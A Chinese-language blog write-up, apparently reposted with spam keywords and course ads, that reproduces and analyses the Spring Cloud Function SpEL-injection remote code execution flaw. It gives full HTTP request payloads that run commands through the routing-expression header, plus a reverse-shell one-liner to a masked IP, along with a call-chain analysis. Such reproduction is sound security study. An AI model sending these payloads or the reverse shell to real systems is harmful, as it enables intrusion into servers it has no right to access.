免费爱碰视频在线观看,九九精品国产屋,欧美亚洲尤物久久精品,1024在线观看视频亚洲

      Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析

      簡(jiǎn)介

      Spring Cloud功能特點(diǎn)

      ![image-20220403143623101](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403143623101.png)

      影響版本

      3.0.0.M3 <= Spring Cloud Function <=3.2.2

      漏洞復(fù)現(xiàn)

      環(huán)境搭建

      選擇版本為V3.1.6

      根據(jù)Tags的更新時(shí)間選擇,還是選擇3.1.6比較穩(wěn)妥,使用IDEA導(dǎo)入項(xiàng)目

      ![image-20220401212613169](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220401212613169.png)

      jar包的下載確實(shí)很慢,真是麻了。實(shí)際上不用下載那么多jar包,確實(shí)用不到,導(dǎo)入項(xiàng)目于spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojo修改配置文件spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojosrcmainresourcesappliaction.properties添加

      spring.cloud.function.definition:functionRouter

      ![image-20220402110243791](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110243791.png)

      配置maven啟動(dòng)項(xiàng)目

      ![image-20220402110326017](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110326017.png)

      ![image-20220402110354865](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110354865.png)

      http://127.0.0.1:8080

      ![image-20220402110436556](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110436556.png)

      【——全網(wǎng)最全的網(wǎng)絡(luò)安全學(xué)習(xí)資料包分享給愛(ài)學(xué)習(xí)的你,關(guān)注我,私信回復(fù)“資料領(lǐng)取”獲取——】1.網(wǎng)絡(luò)安全多個(gè)方向?qū)W習(xí)路線2.全網(wǎng)最全的CTF入門(mén)學(xué)習(xí)資料3.一線大佬實(shí)戰(zhàn)經(jīng)驗(yàn)分享筆記4.網(wǎng)安大廠面試題合集5.紅藍(lán)對(duì)抗實(shí)戰(zhàn)技術(shù)秘籍6.網(wǎng)絡(luò)安全基礎(chǔ)入門(mén)、Linux、web安全、滲透測(cè)試方面視頻

      利用

      構(gòu)造payload

      POST /Ggoodstudy HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 4gdsf

      ![image-20220403144205124](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403144205124.png)

      這不就吐了么,修改配置文件才能RCE????

      ![image-20220403205706193](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403205706193.png)

      但是修改路由,當(dāng)路由指定為functionRouter的時(shí)候,不修改配置文件已經(jīng)可以執(zhí)行惡意payload

      POST /functionRouter HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 14dfdfijkghjkg

      ![image-20220402105622478](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402105622478.png)

      POST請(qǐng)求且必須傳參。

      反彈shell

      bash -i >& /dev/tvp/xx.xxx.xx.xx/port 0>&1

      進(jìn)行base64編碼,由于這里我使用的是windows環(huán)境,所以無(wú)法使用反彈shell,具體需要對(duì)反彈shell命令進(jìn)行編碼的原因在分析CVE-2018-1270的時(shí)候已經(jīng)分析過(guò)了。

      ![image-20220403205921339](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403205921339.png)

      漏洞分析

      首先我們需要了解到spring框架中比較常見(jiàn)的幾個(gè)jar包

      • spring-beans所有應(yīng)用都要用到的,它包含訪問(wèn)配置文件、創(chuàng)建和管理bean 以及進(jìn)行Inversion of Control / Dependency Injection(IoC/DI)操作相關(guān)的所有類。
      • spring-Expression進(jìn)行SpEL表達(dá)式解析
      • spring-coreSpring 框架基本的核心工具類。Spring 其它組件要都要使用到這個(gè)包里的類,是其它組件的基本核心
      • spring-jdbc存放對(duì)jdbc數(shù)據(jù)庫(kù)數(shù)據(jù)訪問(wèn)所有相關(guān)的類
      • spring-messaging

      api以及協(xié)議接口

      • spring-context為Spring核心提供了大量擴(kuò)展??梢哉业绞褂肧pring ApplicationContext特性時(shí)所需的全部類
      • spring-web包含Web 應(yīng)用開(kāi)發(fā)時(shí),用到Spring 框架時(shí)所需的核心類,包括自動(dòng)載入Web Application Context 特性的類、Struts 與JSF 集成類、文件上傳的支持類、Filter 類和大量工具輔助類。
      • pring-webmvc包含Spring MVC 框架相關(guān)的所有類。包括框架的Servlets,Web MVC框架,控制器和視圖支持。

      向上查找利用鏈

      SpEL表達(dá)式的內(nèi)容是在spring-expression中處理的,在RoutingFunction類中調(diào)用

      ![image-20220403135602783](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403135602783.png)

      這里會(huì)取出spring.cloud.function.routing-expression:屬性的spel表達(dá)式

      ![image-20220402125700409](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402125700409.png)

      這個(gè)方法屬于布爾型的判斷,這里的屬性構(gòu)造在請(qǐng)求頭內(nèi),調(diào)用了apply方法

      ![image-20220402131335916](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402131335916.png)

      繼續(xù)向上分析

      ![image-20220403232506444](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403232506444.png)

      到達(dá)SimpleFunctionRegistry.java類的698行,這個(gè)apply的方法的觸發(fā)時(shí)

      ![image-20220403232638460](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403232638460.png)

      是在646行定義的,且調(diào)用方法doapply,而doapply也在apply方法中調(diào)用了,在往上查找就到了FunctionWebRequestProcessingHelper類的processRequest方法

      ![image-20220403232852540](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403232852540.png)

      繼續(xù)向上查找,到了控制層了,到此為止我們的向上查找已經(jīng)結(jié)束,利用鏈很強(qiáng)清晰,那么對(duì)不對(duì)呢,我們使用向下查找利用鏈來(lái)做驗(yàn)證,請(qǐng)看下文

      找到一個(gè)非常nice的入門(mén)課程,復(fù)制鏈接即可報(bào)名:

      https://img.wlmqw.com/uploads/2022/07/yxtjrq2dz5v.)

      調(diào)用FunctionWebRequestProcessingHelper類中的http請(qǐng)求參數(shù)方法processRequest

      ![image-20220403224410232](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403224410232.png)

      可以看到processRequest方法會(huì)獲取到我們構(gòu)造payload的方法,在方法為RoutingFunction的情況下會(huì)直接調(diào)用RoutingFunction類中的applay方法

      ![image-20220403230139777](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403230139777.png)

      此時(shí)我們可以看到這里調(diào)用了Route方法

      ![image-20220403230252876](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403230252876.png)

      而在該方法中會(huì)讀取構(gòu)造的請(qǐng)求頭spring.cloud.function.routing-expression屬性的值,調(diào)用了方法functionFormExpression,但是在該方法中的parseExpression方法會(huì)對(duì)SpEL表達(dá)式進(jìn)行解析

      ![image-20220403231034277](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403231034277.png)

      ![image-20220403231137695](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403231137695.png)

      那么我們?cè)谡{(diào)試的過(guò)程中

      ![image-20220403231320620](Spring Cloud Function SpEL表達(dá)式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403231320620-16489988015211.png)

      getValue方法執(zhí)行的又是什么呢?

      這里自然是執(zhí)行的傳入的paylaod的內(nèi)容以及執(zhí)行解析后的表達(dá)式

      到這里我們能夠發(fā)現(xiàn)兩條鏈剛好是對(duì)稱的,說(shuō)明分析沒(méi)有問(wèn)題。

      總結(jié)

      分析了spring-cloud-function可以發(fā)現(xiàn),spring框架的幾個(gè)由SpEL表達(dá)式注入造成的RCE的觸發(fā)點(diǎn)基本上都很相似,觸發(fā)類以及觸發(fā)路由分析對(duì)于漏洞挖掘來(lái)說(shuō)都有可以借鑒的地方。

      鄭重聲明:本文內(nèi)容及圖片均整理自互聯(lián)網(wǎng),不代表本站立場(chǎng),版權(quán)歸原作者所有,如有侵權(quán)請(qǐng)聯(lián)系管理員(admin#wlmqw.com)刪除。
      用戶投稿
      上一篇 2022年7月21日 01:05
      下一篇 2022年7月21日 01:05

      相關(guān)推薦

      聯(lián)系我們

      聯(lián)系郵箱:admin#wlmqw.com
      工作時(shí)間:周一至周五,10:30-18:30,節(jié)假日休息